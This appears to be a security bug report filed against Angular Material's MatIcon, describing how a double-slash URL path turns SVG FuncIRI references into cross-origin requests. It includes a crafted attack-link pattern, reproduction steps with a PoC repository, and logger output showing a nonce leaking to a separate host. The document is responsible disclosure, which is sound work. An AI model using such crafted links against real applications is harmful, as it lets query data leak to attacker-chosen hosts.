bug(material/icon): keep FuncIRI references same-origin on multi-slash paths

[moamenmahmod]

Is this a regression?

No known regression. The affected FuncIRI rewriting logic is long-standing.

Description

Google's Open Source Software VRP referred me to the Angular maintainers and asked me to open a
public issue and pull request for this finding (Google OSS VRP issue
548479960).

MatIcon rewrites same-document SVG FuncIRI references such as fill="url(#gradient)" by
prepending document.location.pathname + document.location.search. A URL on the application's own
origin can have a pathname beginning with two slashes, for example:

https://app.example//collector.example/paint?user=123

In that case location.pathname is //collector.example/paint, so the rewritten attribute becomes
a protocol-relative, cross-origin reference:

url('//collector.example/paint?user=123#gradient')

Chrome consequently sends a GET request to https://collector.example/paint?user=123. The source is
MAT_ICON_LOCATION; the sink is _prependPathToReferences() in src/material/icon/icon.ts. The
same behavior applies to every SVG FuncIRI attribute in funcIriAttributes, including fill,
filter, mask, clip-path, marker*, and stroke (CWE-610).

The behavior is present on current main (22.2.0-next.5) and the latest stable release (22.1.6).

Security impact and severity

An unauthenticated attacker can send a trusted-origin-looking link to a user of an affected app. If
the app serves its SPA for a //-prefixed path and renders a FuncIRI SVG icon there, opening the link
causes cross-origin SVG resource requests to an attacker-selected host and path.

Two additional tests on the exact @angular/material@22.1.6 package establish limited
confidentiality and integrity impact:

• After the first icon render and request, the app generated a fresh 128-bit nonce and added it to
  the current query with history.replaceState. On the next change-detection pass,
  MatIcon.ngAfterViewChecked() copied that previously unknown value into the FuncIRI and the
  cross-site logger received it. This demonstrates that application-generated query state can
  leave the trusted origin; it is not limited to attacker-known tracking data.
• A CORS-enabled attacker SVG defining the expected gradient ID controlled the affected icon's
  pixels. Red and green responses produced average icon RGB values of (255, 5, 5) and
  (5, 255, 5), respectively. This is limited icon-presentation integrity, not arbitrary DOM or
  script control.

The receiving host also learns that the link was opened, together with the source IP, timing,
ordinary request metadata, and the application origin in the default Referer observed in the
reproduction.

For CVSS v3.1, a reasonable affected configuration is assumed and the request is deterministic once
the page renders, so the strongest defensible candidate vector is
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N (6.1 Medium). CVSS v4.0 represents the deployment
preconditions explicitly:
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N (2.3 Low).

The demonstrated request carried no target cookies or authorization credentials, and application
script cannot read its response. This report does not claim XSS, authenticated CSRF, code
execution, arbitrary page modification, or broad application-secret disclosure.

Reproduction

The runnable local-only reproduction, source, raw logger output, assertion results, and pixel
screenshots are at:

https://github.com/moamenmahmod/angular-material-funciri-poc

Both servers bind to loopback. To reproduce:

git clone https://github.com/moamenmahmod/angular-material-funciri-poc.git
cd angular-material-funciri-poc
npm install
npm run build
npm run serve

# In a second shell:
npm run verify
npm run check:integrity

The core sequence is:

1. The page opens at http://localhost:4216//127.0.0.1:4217/collect and renders a gradient-backed
   mat-icon.
2. The initial rewrite triggers GET /collect at the separate logger.
3. Only then, the app creates a fresh nonce with crypto.getRandomValues and adds it to the query
   with history.replaceState.
4. Angular change detection causes MatIcon to rewrite the FuncIRI again.
5. The logger receives the fresh value in a cross-site request.

Observed:

initial fill  = url('//127.0.0.1:4217/collect#fresh-gradient')
fresh nonce   = 43386642ba36df1f17d39c6e2c7cdd40
rewritten fill= url('//127.0.0.1:4217/collect?fresh_nonce=43386642ba36df1f17d39c6e2c7cdd40#fresh-gradient')
logger        = GET /collect?fresh_nonce=43386642ba36df1f17d39c6e2c7cdd40
Sec-Fetch-Site: cross-site

All eight assertions in
verification-result.json
pass. The independent paint check is recorded in
integrity-result.json.

The accompanying pull request adds a focused regression test using the existing
MAT_ICON_LOCATION test provider.

Expected Behavior

Rewriting an in-document url(#id) reference must keep it on the current document and origin, even
when location.pathname begins with multiple slashes.

Actual Behavior

The raw path is interpolated into url(). Two leading slashes turn the reference into a
protocol-relative URL and cause a cross-origin GET in Chrome.

Environment

• Angular: 22.1.6 and current main
• CDK/Material: 22.1.6 and 22.2.0-next.5
• Browser(s): Chrome/Chromium
• Operating System: macOS (the URL construction itself is platform-independent)